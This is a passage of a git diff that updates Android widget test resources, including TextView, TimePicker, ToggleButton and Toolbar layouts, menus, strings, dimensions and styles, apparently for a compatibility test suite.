+                android:layout_height="200dp"
+                android:text="@string/sample_text"
+                android:autoSizeTextType="uniform"
+                android:autoSizePresetSizes="@array/auto_size_predefined_sizes" />
+
+            <TextView
+                android:id="@+id/textview_autosize_uniform_predef_sizes_redundant_values"
+                android:layout_width="100dp"
+                android:layout_height="200dp"
+                android:text="@string/sample_text"
+                android:autoSizeTextType="uniform"
+                android:autoSizePresetSizes="@array/auto_size_predefined_sizes_redundant_values" />
+
+            <TextView
+                android:id="@+id/textview_justification_default"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sample_text" />
+
+            <TextView
+                android:id="@+id/textview_justification_none"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sample_text"
+                android:justificationMode="none" />
+
+            <TextView
+                android:id="@+id/textview_justification_inter_word"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sample_text"
+                android:justificationMode="inter_word" />
+
         </LinearLayout>
 
-    </ScrollView>
-
-    <TextView android:id="@+id/textview_ltr"
-              android:layout_height="wrap_content"
-              android:layout_width="wrap_content"/>
-
-    <TextView android:id="@+id/textview_rtl"
-              android:layout_height="wrap_content"
-              android:layout_width="wrap_content"/>
-
-    <TextView android:id="@+id/textview_drawable_1_1"
-              android:layout_height="wrap_content"
-              android:layout_width="wrap_content"
-              android:drawableLeft="@drawable/icon_blue"
-              android:drawableRight="@drawable/icon_red"
-              android:drawableTop="@drawable/icon_green"
-              android:drawableBottom="@drawable/icon_yellow"
-            />
-
-    <TextView android:id="@+id/textview_drawable_1_2"
-              android:layout_height="wrap_content"
-              android:layout_width="wrap_content"
-              android:drawableLeft="@drawable/icon_blue"
-              android:drawableRight="@drawable/icon_red"
-              android:drawableTop="@drawable/icon_green"
-              android:drawableBottom="@drawable/icon_yellow"
-              android:layoutDirection="rtl"
-            />
-
-    <TextView android:id="@+id/textview_drawable_2_1"
-              android:layout_height="wrap_content"
-              android:layout_width="wrap_content"
-              android:drawableStart="@drawable/icon_blue"
-              android:drawableEnd="@drawable/icon_red"
-              android:drawableTop="@drawable/icon_green"
-              android:drawableBottom="@drawable/icon_yellow"
-            />
-
-    <TextView android:id="@+id/textview_drawable_2_2"
-              android:layout_height="wrap_content"
-              android:layout_width="wrap_content"
-              android:drawableStart="@drawable/icon_blue"
-              android:drawableEnd="@drawable/icon_red"
-              android:drawableTop="@drawable/icon_green"
-              android:drawableBottom="@drawable/icon_yellow"
-              android:layoutDirection="rtl"
-            />
-
-    <TextView android:id="@+id/textview_drawable_3_1"
-              android:layout_height="wrap_content"
-              android:layout_width="wrap_content"
-              android:drawableLeft="@drawable/icon_black"
-              android:drawableRight="@drawable/icon_black"
-              android:drawableStart="@drawable/icon_blue"
-              android:drawableEnd="@drawable/icon_red"
-              android:drawableTop="@drawable/icon_green"
-              android:drawableBottom="@drawable/icon_yellow"
-            />
-
-    <TextView android:id="@+id/textview_drawable_3_2"
-              android:layout_height="wrap_content"
-              android:layout_width="wrap_content"
-              android:drawableLeft="@drawable/icon_black"
-              android:drawableRight="@drawable/icon_black"
-              android:drawableStart="@drawable/icon_blue"
-              android:drawableEnd="@drawable/icon_red"
-              android:drawableTop="@drawable/icon_green"
-              android:drawableBottom="@drawable/icon_yellow"
-              android:layoutDirection="rtl"
-            />
-
-
-    <LinearLayout android:orientation="vertical"
-                  android:layout_width="match_parent"
-                  android:layout_height="match_parent"
-                  android:layoutDirection="ltr">
-
-        <TextView android:id="@+id/textview_drawable_4_1"
-                  android:layout_height="wrap_content"
-                  android:layout_width="wrap_content"
-                  android:drawableStart="@drawable/icon_blue"
-                  android:drawableEnd="@drawable/icon_red"
-                  android:drawableTop="@drawable/icon_green"
-                  android:drawableBottom="@drawable/icon_yellow"
-                />
-
-        <TextView android:id="@+id/textview_drawable_5_1"
-                  android:layout_height="wrap_content"
-                  android:layout_width="wrap_content"
-                  android:drawableLeft="@drawable/icon_black"
-                  android:drawableRight="@drawable/icon_black"
-                  android:drawableStart="@drawable/icon_blue"
-                  android:drawableEnd="@drawable/icon_red"
-                  android:drawableTop="@drawable/icon_green"
-                  android:drawableBottom="@drawable/icon_yellow"
-                />
-
-    </LinearLayout>
-
-    <LinearLayout android:orientation="vertical"
-                  android:layout_width="match_parent"
-                  android:layout_height="match_parent"
-                  android:layoutDirection="rtl">
-
-        <TextView android:id="@+id/textview_drawable_4_2"
-                  android:layout_height="wrap_content"
-                  android:layout_width="wrap_content"
-                  android:drawableStart="@drawable/icon_blue"
-                  android:drawableEnd="@drawable/icon_red"
-                  android:drawableTop="@drawable/icon_green"
-                  android:drawableBottom="@drawable/icon_yellow"
-                />
-
-        <TextView android:id="@+id/textview_drawable_5_2"
-                  android:layout_height="wrap_content"
-                  android:layout_width="wrap_content"
-                  android:drawableLeft="@drawable/icon_black"
-                  android:drawableRight="@drawable/icon_black"
-                  android:drawableStart="@drawable/icon_blue"
-                  android:drawableEnd="@drawable/icon_red"
-                  android:drawableTop="@drawable/icon_green"
-                  android:drawableBottom="@drawable/icon_yellow"
-                />
-
-    </LinearLayout>
-
-</LinearLayout>
+</ScrollView>
diff --git a/tests/tests/widget/res/layout/textview_restricted_layout.xml b/tests/tests/widget/res/layout/textview_restricted_layout.xml
new file mode 100644
index 0000000..2a9dc49
--- /dev/null
+++ b/tests/tests/widget/res/layout/textview_restricted_layout.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2008 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<ScrollView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/scroller"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:fillViewport="true">
+
+        <LinearLayout
+            android:id="@+id/layout_textviewtest"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+
+            <TextView
+                android:id="@+id/textview_fontresource_fontfamily"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:fontFamily="@font/samplefont" />
+
+            <TextView
+                android:id="@+id/textview_fontxmlresource_fontfamily"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:fontFamily="@font/samplexmlfont" />
+
+            <!-- This is here to test that the TextView constructor ignores references to
+             non Font resource types in the fontFamily attribute.-->
+            <TextView
+                android:id="@+id/textview_fontxmlresource_nonFontReference"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:fontFamily="@style/TextView_FontResource" />
+
+            <TextView
+                android:id="@+id/textview_fontresource_style"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                style="@style/TextView_FontResource" />
+
+            <TextView
+                android:id="@+id/textview_fontxmlresource_style"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                style="@style/TextView_FontXmlResource" />
+
+            <TextView
+                android:id="@+id/textview_fontresource_textAppearance"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:textAppearance="@style/TextView_FontResource" />
+
+            <TextView
+                android:id="@+id/textview_fontxmlresource_textAppearance"
+                android:text="@string/text_view_hello"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:textAppearance="@style/TextView_FontXmlResource" />
+        </LinearLayout>
+
+</ScrollView>
diff --git a/tests/tests/widget/res/layout/timepicker.xml b/tests/tests/widget/res/layout/timepicker.xml
index 352f69b..8581008 100644
--- a/tests/tests/widget/res/layout/timepicker.xml
+++ b/tests/tests/widget/res/layout/timepicker.xml
@@ -14,6 +14,17 @@
      limitations under the License.
 -->
 
-<TimePicker xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="wrap_content"
-    android:layout_height="wrap_content"/>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+    <TimePicker
+            android:id="@+id/timepicker_clock"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"/>
+    <TimePicker
+            android:id="@+id/timepicker_spinner"
+            android:timePickerMode="spinner"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"/>
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/togglebutton_layout.xml b/tests/tests/widget/res/layout/togglebutton_layout.xml
index a6c08e1..6680b12 100644
--- a/tests/tests/widget/res/layout/togglebutton_layout.xml
+++ b/tests/tests/widget/res/layout/togglebutton_layout.xml
@@ -15,8 +15,8 @@
  * limitations under the License.
  -->
 
-<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
-    android:orientation="vertical"
+<ScrollView
+    xmlns:android="http://schemas.android.com/apk/res/android"
     android:layout_width="match_parent"
     android:layout_height="match_parent">
 
@@ -25,17 +25,39 @@
         android:layout_width="match_parent"
         android:layout_height="wrap_content">
 
-        <ToggleButton android:id="@+id/toggle1"
+        <ToggleButton
+            android:id="@+id/toggle1"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content" />
 
-        <ToggleButton android:id="@+id/toggle2"
+        <ToggleButton
+            android:id="@+id/toggle2"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content" />
 
-        <ToggleButton android:id="@+id/button_tint"
+        <ToggleButton
+            android:id="@+id/toggle_with_defaults"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:textOn="@string/toggle_text_on_alt"
+            android:textOff="@string/toggle_text_off_alt" />
+
+        <ToggleButton
+            style="@style/Theme_Toggle"
+            android:id="@+id/toggle_with_style"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content" />
+
+        <ToggleButton
+            android:id="@+id/toggle_tint"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
             android:buttonTint="@android:color/white"
-            android:buttonTintMode="src_over"
+            android:buttonTintMode="src_over" />
+
+        <view
+            class="android.widget.cts.ToggleButtonTest$MockToggleButton"
+            android:id="@+id/toggle_custom"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content" />
 
diff --git a/tests/tests/widget/res/layout/toolbar_layout.xml b/tests/tests/widget/res/layout/toolbar_layout.xml
index 3a74188..59696ff 100644
--- a/tests/tests/widget/res/layout/toolbar_layout.xml
+++ b/tests/tests/widget/res/layout/toolbar_layout.xml
@@ -24,16 +24,7 @@
         android:id="@+id/toolbar_main"
         android:layout_width="match_parent"
         android:layout_height="?android:attr/actionBarSize"
-        android:titleMargin="5px"
-        android:titleMarginTop="10px"
-        android:titleMarginEnd="15px"
-        android:titleMarginBottom="20px"
         android:popupTheme="@style/PopupWindow.NullTransitions" />
 
-    <Toolbar
-        android:id="@+id/toolbar2"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content" />
-
 </LinearLayout>
 
diff --git a/tests/tests/widget/res/layout/toolbar_with_margins_layout.xml b/tests/tests/widget/res/layout/toolbar_with_margins_layout.xml
new file mode 100644
index 0000000..d408da5
--- /dev/null
+++ b/tests/tests/widget/res/layout/toolbar_with_margins_layout.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+
+    <Toolbar
+        android:id="@+id/toolbar_main"
+        android:layout_width="match_parent"
+        android:layout_height="?android:attr/actionBarSize"
+        android:titleMargin="5px"
+        android:titleMarginTop="10px"
+        android:titleMarginEnd="15px"
+        android:titleMarginBottom="20px"
+        android:popupTheme="@style/PopupWindow.NullTransitions" />
+
+    <Toolbar
+        android:id="@+id/toolbar2"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+</LinearLayout>
+
diff --git a/tests/tests/widget/res/layout/viewflipper_layout.xml b/tests/tests/widget/res/layout/viewflipper_layout.xml
index 6480379..8865879 100644
--- a/tests/tests/widget/res/layout/viewflipper_layout.xml
+++ b/tests/tests/widget/res/layout/viewflipper_layout.xml
@@ -14,31 +14,38 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  -->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:padding="10dip"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content">
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:padding="10dip"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
 
-    <ViewFlipper android:id="@+id/viewflipper_test"
+    <ViewFlipper
+        android:id="@+id/viewflipper_test"
         android:layout_width="match_parent"
         android:layout_height="wrap_content"
-        android:flipInterval="1000"
-                android:layout_marginBottom="20dip" >
-                <TextView android:id="@+id/viewflipper_textview1"
-                        android:layout_width="match_parent"
-                        android:layout_height="wrap_content"
-                        android:gravity="center_horizontal"
-                        android:textSize="26sp"
-                        android:visibility="gone"
-                        android:text="@string/hello_world"/>
-                <TextView android:id="@+id/viewflipper_textview2"
-                        android:layout_width="match_parent"
-                        android:layout_height="wrap_content"
-                        android:gravity="center_horizontal"
-                        android:textSize="26sp"
-                        android:visibility="gone"
-                        android:text="@string/hello_android"/>
+        android:flipInterval="@integer/view_flipper_interval"
+        android:layout_marginBottom="20dip">
+
+        <TextView
+            android:id="@+id/viewflipper_textview1"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:gravity="center_horizontal"
+            android:textSize="26sp"
+            android:visibility="gone"
+            android:text="@string/hello_world"/>
+        <TextView
+            android:id="@+id/viewflipper_textview2"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:gravity="center_horizontal"
+            android:textSize="26sp"
+            android:visibility="gone"
+            android:text="@string/hello_android"/>
+
     </ViewFlipper>
+
 </LinearLayout>
 
diff --git a/tests/tests/widget/res/layout/viewgrouptest_stub.xml b/tests/tests/widget/res/layout/viewgrouptest_stub.xml
deleted file mode 100644
index ee59126..0000000
--- a/tests/tests/widget/res/layout/viewgrouptest_stub.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<android.widget.cts.MockLinearLayout
-        xmlns:android="http://schemas.android.com/apk/res/android"
-    android:orientation="vertical"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:id="@+id/mocklinearlayout">
-
-    <!-- view1 goes on top -->
-    <TextView
-        android:id="@+id/viewgrouptest_stub"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-    />
-
-</android.widget.cts.MockLinearLayout>
-
diff --git a/tests/tests/widget/res/layout/zoombutton_layout.xml b/tests/tests/widget/res/layout/zoombutton_layout.xml
index 1b1e0b2..49031a8 100644
--- a/tests/tests/widget/res/layout/zoombutton_layout.xml
+++ b/tests/tests/widget/res/layout/zoombutton_layout.xml
@@ -14,9 +14,10 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  -->
-<ZoomButton xmlns:android="http://schemas.android.com/apk/res/android"
+<ZoomButton
+    xmlns:android="http://schemas.android.com/apk/res/android"
     android:id="@+id/zoombutton_test"
     android:layout_width="wrap_content"
     android:layout_height="wrap_content"
-/>
+    android:src="@drawable/icon_red" />
 
diff --git a/tests/tests/widget/res/menu/cab_menu.xml b/tests/tests/widget/res/menu/cab_menu.xml
new file mode 100644
index 0000000..7e210cb
--- /dev/null
+++ b/tests/tests/widget/res/menu/cab_menu.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 Google Inc.
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<menu xmlns:android="http://schemas.android.com/apk/res/android">
+    <item android:id="@+id/action_highlight"
+          android:title="@string/popup_menu_highlight"
+          android:icon="@drawable/ic_highlight"
+          android:showAsAction="always" />
+    <item android:id="@+id/action_delete"
+          android:title="@string/popup_menu_delete"
+          android:icon="@drawable/ic_delete"
+          android:showAsAction="always" />
+</menu>
diff --git a/tests/tests/widget/res/menu/popup_menu.xml b/tests/tests/widget/res/menu/popup_menu.xml
index f50efc5..29daad0 100644
--- a/tests/tests/widget/res/menu/popup_menu.xml
+++ b/tests/tests/widget/res/menu/popup_menu.xml
@@ -15,9 +15,13 @@
 -->
 <menu xmlns:android="http://schemas.android.com/apk/res/android">
     <item android:id="@+id/action_highlight"
-          android:title="@string/popup_menu_highlight" />
+          android:title="@string/popup_menu_highlight"
+          android:contentDescription="@string/popup_menu_highlight_description"
+          android:tooltipText="@string/popup_menu_highlight_tooltip" />
     <item android:id="@+id/action_edit"
-          android:title="@string/popup_menu_edit" />
+          android:title="@string/popup_menu_edit"
+          android:contentDescription="@string/popup_menu_edit_description"
+          android:tooltipText="@string/popup_menu_edit_tooltip" />
     <item android:id="@+id/action_delete"
           android:title="@string/popup_menu_delete" />
     <item android:id="@+id/action_ignore"
diff --git a/tests/tests/widget/res/menu/toolbar_menu.xml b/tests/tests/widget/res/menu/toolbar_menu.xml
index 3631ff6..f29bbeb 100644
--- a/tests/tests/widget/res/menu/toolbar_menu.xml
+++ b/tests/tests/widget/res/menu/toolbar_menu.xml
@@ -17,6 +17,8 @@
     <item android:id="@+id/action_highlight"
           android:title="@string/popup_menu_highlight"
           android:icon="@drawable/ic_highlight"
+          android:contentDescription="@string/popup_menu_highlight_description"
+          android:tooltipText="@string/popup_menu_highlight_tooltip"
           android:showAsAction="always" />
     <item android:id="@+id/action_edit"
           android:title="@string/popup_menu_edit"
@@ -33,6 +35,7 @@
     <item android:id="@+id/action_share"
           android:title="@string/popup_menu_share"
           android:icon="@drawable/ic_share"
+          android:alphabeticShortcut="s"
           android:showAsAction="never">
         <menu>
             <item android:id="@+id/action_share_email"
diff --git a/tests/tests/widget/res/values-w320dp-h426dp/integers.xml b/tests/tests/widget/res/values-w320dp-h426dp/integers.xml
deleted file mode 100644
index a9d049c..0000000
--- a/tests/tests/widget/res/values-w320dp-h426dp/integers.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<resources>
-    <integer name="date_picker_mode">2</integer>
-    <integer name="time_picker_mode">2</integer>
-</resources>
diff --git a/tests/tests/widget/res/values-w426dp-h320dp/integers.xml b/tests/tests/widget/res/values-w426dp-h320dp/integers.xml
deleted file mode 100644
index a9d049c..0000000
--- a/tests/tests/widget/res/values-w426dp-h320dp/integers.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<resources>
-    <integer name="date_picker_mode">2</integer>
-    <integer name="time_picker_mode">2</integer>
-</resources>
diff --git a/tests/tests/widget/res/values/arrays.xml b/tests/tests/widget/res/values/arrays.xml
index 71e0133..45d3a1d 100644
--- a/tests/tests/widget/res/values/arrays.xml
+++ b/tests/tests/widget/res/values/arrays.xml
@@ -54,4 +54,21 @@
         <item>9</item>
         <item>10</item>
     </integer-array>
+
+    <array name="auto_size_predefined_sizes">
+        <item>10px</item>
+        <item>10dip</item>
+        <item>10sp</item>
+        <item>10pt</item>
+        <item>10in</item>
+        <item>10mm</item>
+    </array>
+
+    <array name="auto_size_predefined_sizes_redundant_values">
+        <item>40px</item>
+        <item>10px</item>
+        <item>10px</item>
+        <item>10px</item>
+        <item>0dp</item>
+    </array>
 </resources>
diff --git a/tests/tests/widget/res/values/attrs.xml b/tests/tests/widget/res/values/attrs.xml
index 4c3d9db..b2bea6f 100644
--- a/tests/tests/widget/res/values/attrs.xml
+++ b/tests/tests/widget/res/values/attrs.xml
@@ -142,4 +142,7 @@
     <attr name="themeGravity" />
     <attr name="themeTileMode" />
     <attr name="themeAngle" />
+
+    <attr name="chronometerStyle" format="string" />
+
 </resources>
diff --git a/tests/tests/widget/res/values/dimens.xml b/tests/tests/widget/res/values/dimens.xml
index 3690039..5287b22 100644
--- a/tests/tests/widget/res/values/dimens.xml
+++ b/tests/tests/widget/res/values/dimens.xml
@@ -15,4 +15,36 @@
 -->
 <resources>
     <dimen name="popup_row_height">48dp</dimen>
+
+    <dimen name="switch_padding">24dp</dimen>
+    <dimen name="switch_thumb_text_padding">12dp</dimen>
+    <dimen name="switch_min_width">160dp</dimen>
+    <dimen name="switch_min_width2">200dp</dimen>
+
+    <dimen name="autocomplete_textview_dropdown_height">120dp</dimen>
+    <dimen name="autocomplete_textview_dropdown_width">160dp</dimen>
+    <dimen name="autocomplete_textview_dropdown_offset_h">24dp</dimen>
+    <dimen name="autocomplete_textview_dropdown_offset_v">32dp</dimen>
+
+    <dimen name="spinner_dropdown_width">200dp</dimen>
+    <dimen name="spinner_dropdown_offset_h">64dp</dimen>
+    <dimen name="spinner_dropdown_offset_v">48dp</dimen>
+
+    <dimen name="search_view_max_width">160dp</dimen>
+    <dimen name="search_view_max_width2">200dp</dimen>
+    <dimen name="search_view_suggestion_row_height">48dp</dimen>
+
+    <dimen name="linear_layout_divider_size">10px</dimen>
+    <dimen name="linear_layout_divider_padding">8px</dimen>
+
+    <dimen name="textview_padding_left">4dip</dimen>
+    <dimen name="textview_padding_right">6dip</dimen>
+    <dimen name="textview_padding_start">8dip</dimen>
+    <dimen name="textview_padding_end">10dip</dimen>
+    <dimen name="textview_padding_top">2dip</dimen>
+    <dimen name="textview_padding_bottom">4dip</dimen>
+    <dimen name="textview_drawable_padding">2dip</dimen>
+
+    <dimen name="radiogroup_margin">4dip</dimen>
+    <dimen name="listrow_height">40dp</dimen>
 </resources>
\ No newline at end of file
diff --git a/tests/tests/widget/res/values/ids.xml b/tests/tests/widget/res/values/ids.xml
new file mode 100644
index 0000000..1e840d0
--- /dev/null
+++ b/tests/tests/widget/res/values/ids.xml
@@ -0,0 +1,18 @@
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <item type="id" name="radio_button_dynamic" />
+</resources>
diff --git a/tests/tests/widget/res/values/integers.xml b/tests/tests/widget/res/values/integers.xml
index b2c1e65..c696024 100644
--- a/tests/tests/widget/res/values/integers.xml
+++ b/tests/tests/widget/res/values/integers.xml
@@ -13,8 +13,6 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-
 <resources>
-    <integer name="date_picker_mode">1</integer>
-    <integer name="time_picker_mode">1</integer>
+    <integer name="view_flipper_interval">1000</integer>
 </resources>
diff --git a/tests/tests/widget/res/values/strings.xml b/tests/tests/widget/res/values/strings.xml
index 63ceffa..78f0f7c 100644
--- a/tests/tests/widget/res/values/strings.xml
+++ b/tests/tests/widget/res/values/strings.xml
@@ -180,7 +180,11 @@
 
     <string name="popup_show">Show popup</string>
     <string name="popup_menu_highlight">Highlight</string>
+    <string name="popup_menu_highlight_description">Highlight description</string>
+    <string name="popup_menu_highlight_tooltip">Highlight tooltip</string>
     <string name="popup_menu_edit">Edit</string>
+    <string name="popup_menu_edit_description">Edit description</string>
+    <string name="popup_menu_edit_tooltip">Edit tooltip</string>
     <string name="popup_menu_delete">Delete</string>
     <string name="popup_menu_ignore">Ignore</string>
     <string name="popup_menu_share">Share</string>
@@ -193,4 +197,20 @@
     <string name="toolbar_subtitle">Toolbar subtitle</string>
     <string name="toolbar_navigation">Toolbar navigation</string>
     <string name="toolbar_logo">Toolbar logo</string>
+
+    <string name="search_query_hint">query hint</string>
+
+    <string name="remote_content_description">remote description</string>
+
+    <string name="toggle_text_on">On</string>
+    <string name="toggle_text_off">Off</string>
+    <string name="toggle_text_on_alt">On Alt</string>
+    <string name="toggle_text_off_alt">Off Alt</string>
+
+    <string name="chronometer_format">Current count: %s</string>
+
+    <string name="radio_choice_0">choice 0</string>
+    <string name="radio_choice_1">choice 1</string>
+    <string name="radio_choice_2">choice 2</string>
+    <string name="radio_choice_3">choice 3</string>
 </resources>
diff --git a/tests/tests/widget/res/values/styles.xml b/tests/tests/widget/res/values/styles.xml
index d2e8e48..a47f169 100644
--- a/tests/tests/widget/res/values/styles.xml
+++ b/tests/tests/widget/res/values/styles.xml
@@ -193,11 +193,6 @@
         <item name="android:windowSwipeToDismiss">false</item>
     </style>
 
-    <style name="Theme_Holo_With_Material_Pickers" parent="@android:style/Theme.Holo">
-        <item name="android:timePickerStyle">@android:style/Widget.Material.TimePicker</item>
-        <item name="android:datePickerStyle">@android:style/Widget.Material.DatePicker</item>
-    </style>
-
     <style name="PopupEmptyStyle" />
 
     <style name="TabWidgetCustomStyle" parent="android:Widget.TabWidget">
@@ -208,8 +203,37 @@
 
     <style name="ToolbarPopupTheme_Test" parent="@android:style/ThemeOverlay.Material.Light" />
 
+    <style name="Theme_Toggle" parent="@android:style/Widget.Material.Light.Button.Toggle">
+        <item name="android:textOn">@string/toggle_text_on</item>
+        <item name="android:textOff">@string/toggle_text_off</item>
+    </style>
+
+    <style name="ChronometerStyle" parent="@android:style/Widget.Material.Light.TextView">
+        <item name="android:format">@string/chronometer_format</item>
+        <item name="android:countDown">true</item>
+    </style>
+
+    <style name="ChronometerAwareTheme" parent="@android:style/Theme.Material.Light">
+        <item name="chronometerStyle">@style/ChronometerStyle</item>
+    </style>
+
+    <style name="FastScrollCustomStyle" parent="@android:style/Widget.Material.FastScroll">
+        <item name="android:textSize">32sp</item>
+        <item name="android:minWidth">120dp</item>
+        <item name="android:minHeight">64dp</item>
+    </style>
+
     <style name="Theme.PopupWindowCtsActivity" parent="@android:style/Theme.Holo">
         <!-- Force swipe-to-dismiss to false. -->
         <item name="android:windowSwipeToDismiss">false</item>
     </style>
+
+    <style name="TextView_FontResource">
+        <item name="android:fontFamily">@font/samplefont</item>
+        <item name="android:textAppearance">@null</item>
+    </style>
+
+    <style name="TextView_FontXmlResource">
+        <item name="android:fontFamily">@font/samplexmlfont</item>
+    </style>
 </resources>
diff --git a/tests/tests/widget/res/xml/remoteviews_appwidget_info.xml b/tests/tests/widget/res/xml/remoteviews_appwidget_info.xml
new file mode 100644
index 0000000..e75ed72
--- /dev/null
+++ b/tests/tests/widget/res/xml/remoteviews_appwidget_info.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+     Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<appwidget-provider
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:minWidth="200dp"
+    android:minHeight="200dp"
+    android:minResizeWidth="300dp"
+    android:minResizeHeight="300dp"
